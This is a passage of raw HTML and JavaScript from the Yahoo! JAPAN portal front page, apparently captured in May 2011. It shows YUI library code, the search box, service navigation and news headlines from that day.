o=i,k=n,l,q;if(h.isString(i)){o=p[i]}if(!o){throw new TypeError(\"method undefined\")}if(k\u0026\u0026!h.isArray(k)){k=[n]}l=function(){o.apply(p,k||e)};q=(m)?setInterval(l,j):setTimeout(l,j);return{interval:m,cancel:function(){if(this.interval){clearInterval(q)}else{clearTimeout(q)}}}},isValue:function(i){return(h.isObject(i)||h.isString(i)||h.isNumber(i)||h.isBoolean(i))}};h.hasOwnProperty=(a.hasOwnProperty)?function(j,i){return j\u0026\u0026j.hasOwnProperty(i)}:function(j,i){return !h.isUndefined(j[i])\u0026\u0026j.constructor.prototype[i]!==j[i]};f.augmentObject(h,f,true);YAHOO.util.Lang=h;h.augment=h.augmentProto;YAHOO.augment=h.augmentProto;YAHOO.extend=h.extend})();YAHOO.register(\"yahoo\",YAHOO,{version:\"2.8.2int\",build:\"5\"});function err(f,e,h){var g=new Image;g.src=\"http://b.www.yahoo.co.jp/p.gif?ver=\"+ver+\"\u0026error=\"+escape(f)+\",\"+escape(e)+\",\"+escape(h);return true}window.onerror=err;String.prototype.rot13=function(){return this.replace(/[a-zA-Z]/g,function(a){return String.fromCharCode((a\u003c=\"Z\"?90:122)\u003e=(a=a.charCodeAt(0)+13)?a:a-26)})};YAHOO.namespace(\"Fp\");YAHOO.namespace(\"Fd\");YAHOO.Fp.beacon=function(a){var b=new Image();b.src=\"http://b.www.yahoo.co.jp/p.gif?t=\"+new Date().getTime()+\"\u0026\"+a;setTimeout(function(){b=null},10000)};YAHOO.Fd.stripChunk=function(a){var b=a.lastIndexOf(\"!--\");if(b\u003c0){return a}return a.substring(0,(b-1))};var d=document;var $=function(a){return(typeof(a)==\"string\")?d.getElementById(a):false};\r\nYAHOO.Fp._ie=YAHOO.Fp._ie8=YAHOO.Fp._ie7=YAHOO.Fp._ie55=0;\r\nYAHOO.Fp._ff=0;\r\nYAHOO.Fp._ffv=parseFloat(\"0\",10);\r\nYAHOO.Fp._ns=0;\r\nYAHOO.Fp._nsv=parseFloat(\"0\",10);\r\nYAHOO.Fp._sf=1;\r\nYAHOO.Fp._sfv=parseFloat(\"534.36\",10);\r\nYAHOO.Fp._op=0;\r\nYAHOO.Fp._mac=0;\r\nYAHOO.Fp._hostname=location.hostname;\r\nYAHOO.Fp._basetag=document.getElementsByTagName('base')[0].href;\r\nYAHOO.Fp._bcrumb=\"t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\";\r\nYAHOO.Fp._plcookie=0;\r\nYAHOO.Fp._jis=\"13208\";\r\nYAHOO.Fp._jpadmin1=\"東京都\";\r\nYAHOO.Fp._jpadmin2=\"\";\r\nYAHOO.Fp._jpadmin3=\"調布市\";\r\nYAHOO.Fp._jpadmin4=\"\";\r\nYAHOO.Fp._jpadmin5=\"\";\r\nYAHOO.Fp._weatherjis=\"13208\";\r\nYAHOO.Fp._firstblock=\"4410\";\r\nYAHOO.Fp._ulmCrumb=\"32af0d89d4cf32ab0a81983a6539d476,1305723876\";\r\nYAHOO.Fp._crumb=\"db88a2a5937c26e662c318b2d2e6bcea\";\r\nYAHOO.Fp._hp=false ;\r\nYAHOO.Fp._srchOldQ = '' ;\r\nYAHOO.Fp._earth=false;\r\nYAHOO.Fp._fortune_json='{aries:83,taurus:59,gemini:91,cancer:68,leo:80,virgo:56,libra:87,scorpio:63,sagittarius:75,capricorn:51,aquarius:95,pisces:71,nofortune:\"--\"}';\r\n//--\u003e\u003c/script\u003e \r\n\u003cscript type=\"text/javascript\" src=\"/javascript/fp_base_bd_ga_5.0.7.js\"\u003e\u003c/script\u003e \r\n\u003clink href=\"http://k.yimg.jp/images/top/sp2/clr/1/clr-101111.css\" rel=\"stylesheet\" type=\"text/css\"\u003e\u003c/head\u003e \r\n\u003cbody\u003e \r\n\u003cdiv id=\"wrapper\"\u003e \r\n\u003cdiv id=\"header\"\u003e \r\n\u003cdiv id=\"masthead\" \u003e \r\n\u003ch1\u003e\u003ca href=r/mlg\u003e\u003cimg src=\"http://k.yimg.jp/images/top/sp/logo.gif\" alt=\"Yahoo! JAPAN\" height=\"59\" width=\"221\"\u003e\u003c/a\u003e\u003c/h1\u003e \r\n\u003cul id=\"mhicon\"\u003e \r\n\u003cli id=\"mhi1st\"\u003e\u003ca title=\"Yahoo! BB\" href=\"r/mbb\"\u003eYahoo! BB\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"mhi2nd\"\u003e\u003ca title=\"オークション\" href=\"r/mauc\"\u003eオークション\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"mhi3rd\"\u003e\u003ca title=\"My Yahoo!\" href=\"r/mmy\"\u003eMy Yahoo!\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"mhi4th\"\u003e\u003ca title=\"ツールバー\" href=\"r/mtb\"\u003eツールバー\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"mhi5th\"\u003e\u003ca title=\"ショッピング\" href=\"r/mshp\"\u003eショッピング\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"mhi6th\"\u003e\u003ca title=\"Yahoo! きっず\" href=\"r/mkid\"\u003eYahoo! きっず\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e \r\n\u003cul id=\"siteinfo\"\u003e \r\n\u003cli\u003e\u003ca href=\"r/mcfp\"\u003eカテゴリ一覧\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"r/msb\"\u003eサイトの登録\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"r/myid\"\u003e無料ID活用\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e \r\n\u003cul id=\"changeMode\"\u003e \r\n\u003cli id=\"changeModeOf\" class=\"changeBtn\"\u003e\u003ca href=\"edit.html?copt4=1\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\" title=\"オフィス版\"\u003eオフィス版\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"emg\"\u003e \r\n\u003c!-- SpaceID=2077296265 loc=EMG3 noad-spid --\u003e \r\n\u003c!-- SpaceID=2077296265 loc=EMG2 noad-spid --\u003e \r\n\u003c!-- SpaceID=2077296265 loc=EMG noad --\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"searchbox\"\u003e\u003cdiv id=\"srchb\"\u003e \r\n\u003cform action=\"http://search.yahoo.co.jp/search\" name=\"sf1\" method=\"get\"\u003e \r\n\u003cfieldset\u003e \r\n\u003clegend\u003eYahoo!検索\u003c/legend\u003e \r\n\u003cdiv id=\"srchbd\"\u003e \r\n\u003cul class=\"tab\"\u003e\u003cli class=\"tab0 first on\"\u003e\u003cspan\u003e\u003ca href=\"r/swes\" id=\"search\" hidefocus=\"true\"\u003eウェブ\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab1\"\u003e\u003cspan\u003e\u003ca href=\"r/sims\" id=\"isearch\" hidefocus=\"true\"\u003e画像\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab2\"\u003e\u003cspan\u003e\u003ca href=\"r/svis\" id=\"msearch\" hidefocus=\"true\"\u003e動画\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab3\"\u003e\u003cspan\u003e\u003ca href=\"r/sbls\" id=\"bsearch\" hidefocus=\"true\"\u003eブログ\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab4\"\u003e\u003cspan\u003e\u003ca href=\"r/sdics\" id=\"dsearch\" hidefocus=\"true\"\u003e辞書\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab5\"\u003e\u003cspan\u003e\u003ca href=\"r/schs\" id=\"ksearch\" hidefocus=\"true\"\u003e知恵袋\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab6\"\u003e\u003cspan\u003e\u003ca href=\"r/smas\" id=\"csearch\" hidefocus=\"true\"\u003e地図\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab7\" id=\"srchMore\"\u003e\u003cspan\u003e\u003ca class=\"pldwn\" hidefocus=\"true\" id=\"srchMorebtn\" href=\"r/llst\"\u003e一覧\u003c/a\u003e\u003c/span\u003e\u003cdiv class=\"floatingw\" id=\"srchMorefw\"\u003e\u003cul\u003e\u003cli class=\"first\"\u003e\u003ca hidefocus=\"true\" id=\"tsearch\" href=\"r/sdis\"\u003e登録サイト\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca hidefocus=\"true\" id=\"nsearch\" href=\"r/lhe\"\u003eニュース\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca hidefocus=\"true\" id=\"shsearch\" href=\"r/lsh\"\u003eショッピング\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca hidefocus=\"true\" id=\"ausearch\" href=\"r/lac\"\u003eオークション\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca hidefocus=\"true\" id=\"tlntsearch\" href=\"r/stlnts\"\u003e人物名鑑\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca hidefocus=\"true\" id=\"encsearch\" href=\"r/seclps\"\u003e百科事典\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca hidefocus=\"true\" id=\"rbnsearch\" href=\"r/srbs\"\u003e論文\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/saps\" id=\"appsearch\" hidefocus=\"true\"\u003eアプリ\u003c/a\u003e\u003c/li\u003e\u003cli class=\"last\"\u003e\u003ca hidefocus=\"true\" id=\"service\" href=\"r/llst\"\u003eサービス一覧\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003c/li\u003e\u003c/ul\u003e \r\n\u003cp\u003e\u003clabel id=\"srchtxtBg\"\u003e\u003cinput name=\"p\" id=\"srchtxt\" type=\"text\" value=\"\"\u003e\u003c/label\u003e\u003cinput type=\"submit\" id=\"srchbtn\" value=\"検索\"\u003e\u003c/p\u003e \r\n\u003cdiv id=\"srchAssist\"\u003e \r\n\u003cdiv id=\"srchAssistBd\" style=\"display:none;\"\u003e \r\n\u003cp id=\"srchAssistTxt\"\u003eキーワードが入力されていません。\u003c/p\u003e \r\n\u003cdl class=\"bgC3\" id=\"srchAssistOnOff\"\u003e\u003cdt\u003eキーワード入力補助\u003c/dt\u003e\u003cdd class=\"first\"\u003eON\u003c/dd\u003e\u003cdd\u003e\u003ca href=\"edit.html?copt2=1\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eOFF\u003c/a\u003e\u003c/dd\u003e\u003c/dl\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"srchAssistClose\" title=\"キーワード入力補助を開く\"\u003e\u003cdiv id=\"srchacb\"\u003e\u003cspan\u003eキーワード入力補助を開く\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003cscript type=\"text/javascript\"\u003e\u003c!--\r\nYUE.addListener( document, \"keydown\", YAHOO.Fp.KeyAction );\r\nYUE.addListener( 'srchtxt', \"keydown\", function(e){if(e.keyCode == 38 || e.keyCode == 40 ) YAHOO.Fp.SearchAssist(e);} );\r\nsetInterval(function(e) {\r\n if(YAHOO.Fp._srchOldQ != $('srchtxt').value) {\r\n YAHOO.Fp._srchOldQ = $('srchtxt').value ;\r\n YAHOO.Fp.SearchAssist(e) ;\r\n } } , 100) ;\r\nYUE.addListener( 'srchAssistClose', \"click\", function(e){YAHOO.Fp.fToggleSearchAssist(e);} );\r\n$('srchtxt').setAttribute(\"autocomplete\", \"off\");\r\n//--\u003e\u003c/script\u003e \r\n\u003cinput name=\"search.x\" id=\"search.x\" value=\"1\" type=\"hidden\"\u003e\u003cinput name=\"fr\" id=\"fr\" value=\"top_ga1_sa\" type=\"hidden\"\u003e\u003cinput name=\"tid\" id=\"tid\" value=\"top_ga1_sa\" type=\"hidden\"\u003e\u003cinput name=\"ei\" id=\"ei\" value=\"UTF-8\" type=\"hidden\"\u003e\u003cinput name=\"aq\" id=\"aq\" value=\"\" type=\"hidden\"\u003e\u003cinput name=\"oq\" id=\"oq\" value=\"\" type=\"hidden\"\u003e \r\n\u003c/fieldset\u003e \r\n\u003c/form\u003e \r\n\u003c/div\u003e\u003c/div\u003e \r\n\u003cdiv id=\"hdBar\"\u003e \r\n\u003cdiv id=\"uhd\"\u003e \r\n\u003cdiv id=\"uhdsetstart\"\u003e\u003c/div\u003e \r\n\u003cscript type=\"text/javascript\"\u003e\u003c!--\r\nYAHOO.Fp.hm=document.getElementById('uhdsetstart');\r\n//--\u003e\u003c/script\u003e \r\n\u003cscript type=\"text/javascript\"\u003e\u003c!--\r\nif(!YAHOO.cookie.get('CP') \u0026\u0026 (YAHOO.Fp._ff \u0026\u0026 YAHOO.Fp._ffv \u003e= 2)){\r\n\tYAHOO.Fp.hm.innerHTML = '\u003ca href=\"r/header/toolbarpromo/*-http://rd.yahoo.co.jp/toppage/header/evt=78646/?http://toolbar.yahoo.co.jp/\" title=\"ツールバーを今すぐダウンロード!\" id=\"uhdsetstartPromo\"\u003eツールバーを今すぐダウンロード!\u003c/a\u003e';\r\n}\r\n//--\u003e\u003c/script\u003e \r\n\u003cdiv id=\"uhdassist\"\u003e \r\n\u003cul id=\"clr\"\u003e \r\n\u003cli id=\"clr1\"\u003e\u003ca class=\"on\" href=\"r/header/color/1/*-http://www.yahoo.co.jp/edit.html?color=1\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eブルー\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"clr2\"\u003e\u003ca href=\"r/header/color/2/*-http://www.yahoo.co.jp/edit.html?color=2\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eピンク\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"clr3\"\u003e\u003ca href=\"r/header/color/3/*-http://www.yahoo.co.jp/edit.html?color=3\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eオレンジ\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"clr4\"\u003e\u003ca href=\"r/header/color/4/*-http://www.yahoo.co.jp/edit.html?color=4\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eグリーン\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"clr5\"\u003e\u003ca href=\"r/header/color/5/*-http://www.yahoo.co.jp/edit.html?color=5\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eシルバー\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"clr6\"\u003e\u003ca href=\"r/header/color/6/*-http://www.yahoo.co.jp/edit.html?color=6\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eクラシック\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e\u003cp class=\"help\"\u003e\u003ca href=\"r/mht\"\u003eヘルプ\u003c/a\u003e\u003c/p\u003e\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003chr class=\"separate\"\u003e \r\n\u003cdiv id=\"contents\"\u003e \r\n \r\n\u003cdiv id=\"toptxt\"\u003e \r\n\u003cul class=\"symbol\"\u003e \r\n\u003cli id=\"toptxt1\" class=\"first\"\u003e\u003ca href=s/92621\u003e震災の記録を写真でのこそう、投稿受付中\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"toptxt2\"\u003e\u003ca href=s/92983\u003ePerfume 新曲クリップのダイジェストを配信\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"toptxt3\"\u003e\u003ca href=s/92924\u003eチェックした?「電気予報」で節電を\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e \r\n\u003c/div\u003e \r\n \r\n\u003cdiv id=\"navi\"\u003e \r\n\u003cdiv id=\"contentbox\" class=\"bx bg1\"\u003e \r\n\u003cdiv id=\"yahooservice\" class=\"changepos\"\u003e \r\n\u003cdiv class=\"hd\"\u003e \r\n\u003cdiv class=\"cbbtn\"\u003e \r\n\u003ca title=\"下へ移動\" class=\"cbimg\" id=\"cbbtntop\" href=\"edit.html?copt1=1\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003e下へ移動\u003c/a\u003e \r\n\u003c/div\u003e \r\n\u003cspan id=\"cbassistall\" class=\"assist\"\u003e\u003ca href=\"r/lst\"\u003e一覧\u003c/a\u003e\u003c/span\u003e \r\n\u003ch2\u003e\u003ca href=\"r/lst\"\u003eYahoo!サービス\u003c/a\u003e\u003c/h2\u003e\u003c/div\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"r/c1\" class=\"cbysC1\"\u003eショッピング\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c2\" class=\"cbysC2\"\u003eオークション\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c5\" class=\"cbysC5\"\u003e旅行、出張\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c12\" class=\"cbysC12\"\u003eニュース\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c13\" class=\"cbysC13\"\u003e天気\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c14\" class=\"cbysC14\"\u003eスポーツ\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c15\" class=\"cbysC15\"\u003eファイナンス\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c25\" class=\"cbysC25\"\u003eテレビ\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c26\" class=\"cbysC26\"\u003eGyaO!\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c97\" class=\"cbysC97\"\u003eY!モバゲー\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c33\" class=\"cbysC33\"\u003e地図\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c34\" class=\"cbysC34\"\u003e路線\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c41\" class=\"cbysC41\"\u003eグルメ\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c73\" class=\"cbysC73\"\u003e求人\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c48\" class=\"cbysC48\"\u003e不動産\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c37\" class=\"cbysC37\"\u003e自動車\u003c/a\u003e\u003cspan class=\"iconNew\" title=\"NEW\"\u003eNEW\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c53\" class=\"cbysC53\"\u003e掲示板\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c57\" class=\"cbysC57\"\u003eブログ\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c46\" class=\"cbysC46\"\u003e服、ビューティー\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c44\" class=\"cbysC44\"\u003e出会い\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003cdiv id=\"favoriteservice\" class=\"changepos\"\u003e \r\n\u003cdiv class=\"hd\"\u003e \r\n\u003cdiv class=\"cbbtn\"\u003e \r\n\u003ca title=\"上へ移動\" class=\"cbimg\" id=\"cbbtnbtm\" href=\"edit.html?copt1=1\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003e上へ移動\u003c/a\u003e \r\n\u003c/div\u003e \r\n\u003cspan id=\"cbassistedit\" class=\"assist\"\u003e\u003ca href=\"r/lst\"\u003e変更\u003c/a\u003e\u003c/span\u003e \r\n\u003ch2\u003eお気に入り\u003c/h2\u003e\u003c/div\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"r/cf17\" style=\"background-image:url(http://k.yimg.jp/images/sicons/movie16.gif);\"\u003e映画\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/cf18\" style=\"background-image:url(http://k.yimg.jp/images/sicons/music16.gif);\"\u003e音楽\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/cf20\" style=\"background-image:url(http://k.yimg.jp/images/sicons/game16.gif);\"\u003eゲーム\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/cf21\" style=\"background-image:url(http://k.yimg.jp/images/sicons/fortune16.gif);\"\u003e占い\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/cf26\" style=\"background-image:url(http://k.yimg.jp/images/sicons/gyao16.gif);\"\u003eGyaO!\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003cdiv id=\"pickupservice\"\u003e\u003cdiv class=\"hd\"\u003e\u003ch2\u003eピックアップ\u003c/h2\u003e\u003c/div\u003e\u003cul\u003e\u003cli\u003e\u003ca style=\"background-image: url(http://k.yimg.jp/images/sicons/marriage16.gif);\" href=\"r/cp64\"\u003eウエディング\u003c/a\u003e\u003cspan class=\"iconNew\" title=\"NEW\"\u003eNEW\u003c/span\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003c/div\u003e \r\n\u003cdiv id=\"application\" class=\"bx bg4\"\u003e\u003cdiv class=\"hd\"\u003e\u003ch2\u003eアプリ紹介\u003c/h2\u003e\r\n\r\n\u003c/div\u003e\u003cp\u003e\u003ca href=s/92025\u003e\u003cspan\u003e\u003cimg src=\"http://k.yimg.jp/images/games/mbga/promo/110310/owners_league.gif\" alt=\"プロ野球オーナーズリーグmbga\" width=\"150\" height=\"60\"\u003e\u003c/span\u003e現実のプロ野球カードで遊ぶ新感覚野球ゲーム\u003c/a\u003e\u003c/p\u003e\u003c/div\u003e\u003cdiv id=\"companybox\" class=\"bx bg2\"\u003e \r\n\u003cdiv id=\"cmprikunabi\" class=\"first\"\u003e \r\n\u003ch2\u003e\u003ca href=\"r/lrn\"\u003e求人\u003c/a\u003e\u003c/h2\u003e \r\n\u003cul\u003e \r\n\u003cli class=\"first\"\u003e\u003ca href=\"r/lnxt\"\u003e転職\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"r/labt\"\u003eアルバイト\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"r/lhkn\"\u003e派遣\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e \r\n\u003cp\u003e\u003ca href=s/92954\u003eすぐ働きたい、急募の仕事\u003c/a\u003e\u003c/p\u003e \r\n\u003c/div\u003e \r\n \r\n\u003cdiv id=\"cmpbb\"\u003e \r\n\u003ch2\u003e\u003ca href=\"r/lbb\"\u003eYahoo! BB\u003c/a\u003e\u003c/h2\u003e \r\n\u003cul\u003e\u003cli\u003e\u003ca href=s/92992\u003e50Mが驚きの2,690円\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=s/92993\u003e光が1年間月2,457円~\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"cmpbiz\" class=\"last\"\u003e \r\n\u003ch2\u003e\u003ca href=\"r/lbz\"\u003eビジネスで活用するなら\u003c/a\u003e\u003c/h2\u003e \r\n\u003cul\u003e\u003cli\u003e\u003ca href=s/92982\u003eヤフーの広告始めるなら今\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=s/58148\u003eヤフーでお店を開く\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=s/84369\u003eYahoo!カテゴリ登録審査\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=s/92620\u003e6月1日開始! Yahoo!ロコ\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e \r\n\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"composite\"\u003e \r\n\u003cul class=\"ieDisp\" style=\"background-image:url(http://k.yimg.jp/images/top/sp2/cmp/comp_all-110405.png);\"\u003e\r\n\r\n\u003cli id=\"cmp1st\"\u003e\u003ca href=s/92000 title=\"がんばろうニッポン つなげる想い、つながる希望\"\u003eがんばろうニッポン つなげる想い、つながる希望\u003c/a\u003e\u003c/li\u003e \r\n\u003cli class=\"cmpIE\" style=\"background-image:url(http://k.yimg.jp/images/top/sp2/cmp/comp_ie9-110405.png);\"\u003e\u003ca href=\"r/lie9\" title=\"Windows Internet Explorer9 NEW for Yahoo! JAPAN\"\u003eWindows Internet Explorer9 NEW for Yahoo! JAPAN\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e \r\n\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003chr class=\"separate\"\u003e \r\n\u003cdiv id=\"division\"\u003e \r\n\u003cdiv id=\"main\"\u003e \r\n\u003cdiv id=\"topicsbox\" class=\"bx\"\u003e \r\n\u003cdiv class=\"hd\"\u003e \r\n\u003cul class=\"tab on0\"\u003e \r\n\u003cli class=\"tab0 on\"\u003e\u003cspan\u003e\u003ca id=\"topics\" href=\"r/ttp\" hidefocus=\"true\"\u003eトピックス\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e \r\n\u003cli class=\"tab1\"\u003e\u003cspan\u003e\u003ca id=\"economy\" href=\"r/teco\" hidefocus=\"true\"\u003e経済\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e \r\n\u003cli class=\"tab2\"\u003e\u003cspan\u003e\u003ca id=\"entertainment\" href=\"r/tent\" hidefocus=\"true\"\u003eエンタメ\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e \r\n\u003cli class=\"tab3\"\u003e\u003cspan\u003e\u003ca id=\"sports\" href=\"r/tspo\" hidefocus=\"true\"\u003eスポーツ\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e \r\n\u003cli class=\"tab4 last\"\u003e\u003cspan\u003e\u003ca id=\"others\" href=\"r/toth\" hidefocus=\"true\"\u003eその他\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e \r\n\u003c/ul\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"topicsboxbd\"\u003e \r\n\u003cdiv id=\"topicsfb\" class=\"current\"\u003e\u003cdiv class=\"topicsindex\"\u003e\u003cem\u003e21時40分更新\u003c/em\u003e\u003cul class=\"emphasis\"\u003e\u003cli\u003e\u003ca href=\"f/topics/top/1/*-http://dailynews.yahoo.co.jp/fc/domestic/kan_cabinet/?1305716452\"\u003e首相 安全なら原発稼働を容認\u003c/a\u003e\u003cspan class=\"iconPhoto\" title=\"写真\"\u003e写真\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/2/*-http://dailynews.yahoo.co.jp/fc/economy/tpp/?1305716452\"\u003eTPP 日本の主張反映は困難に\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/3/*-http://dailynews.yahoo.co.jp/fc/domestic/drug/?1305713372\"\u003e田代まさし被告に懲役4年求刑\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/4/*-http://dailynews.yahoo.co.jp/fc/domestic/311eq_orphans/?1305721139\"\u003e安藤忠雄氏ら震災遺児の基金\u003c/a\u003e\u003cspan class=\"iconPhoto\" title=\"写真\"\u003e写真\u003c/span\u003e\u003cspan class=\"iconNew\" title=\"NEW\"\u003eNEW\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/5/*-http://dailynews.yahoo.co.jp/fc/computer/android/?1305713372\"\u003eAndroid 99.7%に流出の恐れ\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/6/*-http://dailynews.yahoo.co.jp/fc/sports/darubish_yu/?1305721139\"\u003eダル 5連勝でハーラートップ\u003c/a\u003e\u003cspan class=\"iconPhoto\" title=\"写真\"\u003e写真\u003c/span\u003e\u003cspan class=\"iconNew\" title=\"NEW\"\u003eNEW\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/7/*-http://dailynews.yahoo.co.jp/fc/sports/sumo_rigged_suspicion/?1305716452\"\u003e八百長調査 やることやった\u003c/a\u003e\u003cspan class=\"iconPhoto\" title=\"写真\"\u003e写真\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/8/*-http://dailynews.yahoo.co.jp/fc/entertainment/akb48/?1305718358\"\u003eAKBが日赤メッセンジャー就任\u003c/a\u003e\u003cspan class=\"iconPhoto\" title=\"写真\"\u003e写真\u003c/span\u003e\u003c/li\u003e\u003c/ul\u003e\u003cul class=\"more\"\u003e\u003cli class=\"first\"\u003e\u003ca href=\"f/topics/top/11/*-http://backnumber.dailynews.yahoo.co.jp/?t=d\u0026d=20110518\u0026c=top\"\u003e今日の話題(53件)\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/ttl\"\u003e一覧\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003cdiv class=\"topicscatch\"\u003e\u003cdiv class=\"topicsdetail\"\u003e\u003cdiv class=\"topicsimg\"\u003e\u003ca href=\"f/topics/top/9/*-http://dailynews.yahoo.co.jp/photograph/pickup/?1305707225\" id=\"tpcsimgfilter\" class=\"imgfilter\" 